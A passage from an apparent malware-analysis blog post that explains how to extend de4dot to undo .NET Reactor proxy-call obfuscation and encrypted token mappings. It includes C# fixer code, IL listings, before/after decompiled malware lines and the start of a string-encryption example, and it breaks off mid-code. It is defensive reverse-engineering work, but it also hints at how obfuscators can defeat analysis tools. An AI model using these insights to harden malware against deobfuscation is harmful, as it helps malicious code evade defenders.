&lt;h3 id=&quot;deobfuscation-with-de4dot&quot;&gt;Deobfuscation with de4dot&lt;/h3&gt;

&lt;p&gt;On the surface, breaking this type of obfuscation is easy.
Obtain the mapping, find all delegate call sites, and replace the calls with their real targets.
In fact, finding the call sites and replacing them is something that is pretty much entirely handled by de4dot - you just need to tell it how to identify the delegate classes and provide the mapped call.
There are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProxyCallFixer&lt;/code&gt; classes that can be inherited from when adding code for a new deobfuscator.
The classes are numbered from 1 to 4, which is not terribly helpful, but comments above the classes describe what sort of situation they apply to.&lt;/p&gt;

&lt;p&gt;In our case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProxyCallFixer3&lt;/code&gt; would be the most appropriate, because our call sites consist of static methods, and a delegate instance is pushed as last parameter:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Fixes proxy calls that call a static method with the instance of&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// a delegate as the last arg, which then calls the Invoke method.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//		...push args...&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//		ldsfld delegate instance&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//		call static method&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;abstract&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProxyCallFixer3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ProxyCallFixer1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When inheriting from this class, there’s a bare minimum of three things you need to do:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Override &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Override &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckCctor&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetDelegateCreatorMethod&lt;/code&gt; in constructor&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s all. Next, you instantiate your fixer class, call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Deobfuscate&lt;/code&gt;, and it’ll work its magic. You don’t need to worry about things like replacing IL instructions at call sites - it’s all handled for you.&lt;/p&gt;

&lt;h4 id=&quot;getcallinfo&quot;&gt;GetCallInfo&lt;/h4&gt;

&lt;p&gt;We’re going to start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt;, because it’s pretty straight-forward.
It’s called when de4dot wants to map a delegate field to the actual called method.
You need to provide the called method and the IL opcode for the call, which is mostly either going to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Call&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Callvirt&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetCallInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FieldDef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMethod&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;calledMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpCode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;callOpcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;calledMethod&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;callOpcode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mapping&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_mapping&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;TryGetValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MDToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToInt32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;virtFlag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x40000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0x3fffffff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
  &lt;span class=&quot;n&quot;&gt;calledMethod&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ResolveToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mappedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMethod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;callOpcode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;virtFlag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpCodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Callvirt&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpCodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You may recognize some of the code from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt; method above, especially the bit masking.
This is not surprising, because the token values obtained from the mapping need to be interpreted in the same way that the obfuscator handles them.&lt;/p&gt;

&lt;h4 id=&quot;setdelegatecreatormethod&quot;&gt;SetDelegateCreatorMethod&lt;/h4&gt;

&lt;p&gt;One slightly less intuitive thing that you need to do is call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetDelegateCreatorMethod&lt;/code&gt; - for example in the constructor of your derived class.
It’s easy to miss because the compiler doesn’t &lt;em&gt;force&lt;/em&gt; you to do it, but if you don’t, your new code will simply do nothing, because the base class will bail early in a bunch of places.
It expects a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MethodDef&lt;/code&gt; parameter, which, as the name says, is the obfuscator method that creates delegates.&lt;/p&gt;

&lt;p&gt;In our case, that’s the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt; method.
Finding this method programmatically can, for example, be done by iterating over all types in the assembly, inspecting those that have a static constructor (&lt;em&gt;cctor&lt;/em&gt;), and checking if the cctor has a single call to a method taking a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RuntimeTypeHandle&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;In the end, de4dot itself doesn’t do much with this information - it’s mainly used to detect that the current binary can in fact be deobfuscated with the custom proxy call fixer.&lt;/p&gt;

&lt;h4 id=&quot;checkcctor&quot;&gt;CheckCctor&lt;/h4&gt;

&lt;p&gt;Finally, you need to override the method &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;object CheckCctor(ref TypeDef type, MethodDef cctor)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This method is called for every delegate type that has a static constructor and has at least one field.
You need to analyze whether this is in fact a delegate type that can be handled.
One could re-use parts of the logic from above to, again, check if we see a call to a method that looks like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RateIndexer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If the type/cctor looks fitting, an object called &lt;em&gt;context&lt;/em&gt; needs to be returned.
This can be any object of your choosing, as long as it is not null.
It is simply passed to each call of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt; and de4dot itself doesn’t do anything with it. 
You can use it to store extra info you’ve gathered in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CheckCctor&lt;/code&gt; so you don’t need to find the info twice, but many obfuscator types don’t require anything here, meaning you can return &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new object()&lt;/code&gt; or even &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;, since it literally does not matter.&lt;/p&gt;

&lt;h4 id=&quot;what-about-the-encrypted-mapping&quot;&gt;What about the encrypted mapping?&lt;/h4&gt;

&lt;p&gt;So far, we’ve glossed over the fact that we still need to get hold of the token-to-token mapping and have just assumed that there’s a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_mapping&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCallInfo&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since we’ve established that the decryption code is individually generated per protected binary, we have little choice but to run that exact code and apply it to the byte array of the encrypted resource.
Finding the resource itself and fetching its data using dnlib is trivial - just check what string is being passed to a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetManifestResourceStream&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the decryption code, we have several options with de4dot:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Load the assembly and directly call the decryption code via reflection. This is the easiest method by far, but also the most dangerous one, since you’ll be executing arbitrary code from a potentially malicious binary.&lt;/li&gt;
  &lt;li&gt;Isolate the decryption code and copy it to a new temporary in-memory assembly. This works well if the code has very local behavior and does not make any calls. It’s reasonably safe, because you can add safety checks for the IL code to disallow certain instructions (skipping deobfuscation if something seems fishy).&lt;/li&gt;
  &lt;li&gt;Use IL emulation - de4dot offers an instruction emulator for algorithmic code (no calls, no allocations) that would be applicable to our case. The tricky part is to find the proper start and end point for emulation - but the same also goes for the option above.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We initially went for the isolation path, and it worked well.&lt;/p&gt;

&lt;p&gt;As we became more familiar with this obfuscator, we realized that de4dot already had support for it (albeit broken)!
It turns out that what we’ve been dealing with is in fact .NET Reactor, one of the more popular obfuscators still around.&lt;/p&gt;

&lt;p&gt;The existing code in de4dot is relying on instruction emulation.
It was broken because it had trouble identifying the proper start/end points for emulation, thus being unable to properly decrypt the resource containing the mapping.
The old code would first locate the end point (which is marked by a series of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;conv&lt;/code&gt; instructions), and from there it would iterate upwards to find the start.
It did so by counting how many unique local variables it encountered.
This is a somewhat brittle strategy, because temporary variables can easily be added, thus their count may fluctuate.
We changed it up to look for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldelem&lt;/code&gt; instruction instead and then go down again until there is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldloc&lt;/code&gt;.
You can find the diff for our changes &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/commit/278e16e923ad3f7e16ff606de95a4325cc34cce6#diff-058abcd1199fe4610c80eccf66c9635193f160a63e5a2b59901539abe20f6fc9&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* 0x00033826 91           */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0136&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldelem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;u1&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033827 60           */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0137&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;or&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033828 130A         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0138&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_10&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//                 &amp;lt;start of crypto algo&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//                         num3 = num3;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x0003382A 1109         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_013A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x0003382C 1309         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_013C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//                         uint num9 = num3;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x0003382E 1109         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_013E&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//                         uint num10 = num3;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033830 1109         */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0140&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;V_9&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//                         uint num11 = 114135216U;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033832 20B090CD06   */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0142&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ldc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i4&lt;/span&gt;    &lt;span class=&quot;m&quot;&gt;114135216&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 0x00033837 FE0E2600     */&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IL_0147&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stloc&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;V_38&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//                    .......&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;before-and-after&quot;&gt;Before and after&lt;/h4&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;WatcherWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WorkerWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WorkerWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConnectWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UnhandledExceptionEventHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MappingTagDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetupFactory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WatcherWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ConcatWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;FieldWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FieldWatcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CallWorker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;AppDomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CurrentDomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UnhandledException&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MappingTagDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SetupFactory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Authentication&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ForgotFactory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first call adds an unhandled exception handler.
After deobfuscation, the decompiler is able to turn it into idiomatic C# code with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+=&lt;/code&gt; syntax.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetupFactory&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ForgotFactory&lt;/code&gt; methods still sound weird, but they’re not delegates - they’re proper methods in the malware that were renamed by the obfuscator.&lt;/p&gt;

&lt;h2 id=&quot;technique-string-encryption&quot;&gt;Technique: String encryption&lt;/h2&gt;

&lt;p&gt;As the author of a string encryption scheme, you need to put in some work.
This is because de4dot supports multiple strategies for dealing with string encryption, and if you implement a naive scheme, de4dot will be capable of breaking it without having to write a single line of custom deobfuscation code.&lt;/p&gt;

&lt;p&gt;The strategies de4dot supports via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--strtyp&lt;/code&gt; parameter are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Static&lt;/em&gt;: Specialized code for the detected obfuscator is used in order to deobfuscate strings without directly executing code from the target assembly. This only works when de4dot has an implementation for the particular obfuscator.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Delegate&lt;/em&gt;: The target assembly is loaded and the original, unmodified string decrypter method is invoked for each string.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Emulate&lt;/em&gt;: This is somewhat misnamed. There is no instruction emulation going on; it does actually execute IL code. In terms of methodology, it’s similar to the &lt;em&gt;Delegate&lt;/em&gt; decrypter type. The difference is that the code is processed/rewritten and checked for anti-deobfuscation measures first. Such measures include checking the calling assembly, or checking the stack frame for entries that are not supposed to be there (if de4dot calls the decryption method, de4dot’s methods will show up in the frame). Any discovered checks are &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/de4dotEx/blob/0e34d8e348cf11eaa3d1d20438fb13e165cebe56/AssemblyData/methodsrewriter/MethodsRewriter.cs#L223&quot;&gt;patched&lt;/a&gt; in such a way that nothing incriminating shows up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Delegate&lt;/em&gt; and &lt;em&gt;Emulate&lt;/em&gt; require an additional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--strtok &amp;lt;token&amp;gt;&lt;/code&gt; parameter that specifies the decrypter method, which has to be identified by manually looking at the assembly. The parameter may be specified multiple times if multiple such methods exist.&lt;/p&gt;

&lt;p&gt;Consider this simple example that has two AES-encrypted strings accessed via an index:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StrCrypto&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;readonly&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_strings&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; 
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;9guJzfcL9QVZQkZLtBT/ug==&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;He8w3I012LDGTbGD7x+4VQ==&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crypted&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_strings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;RijndaelManaged&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mode&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CipherMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ECB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
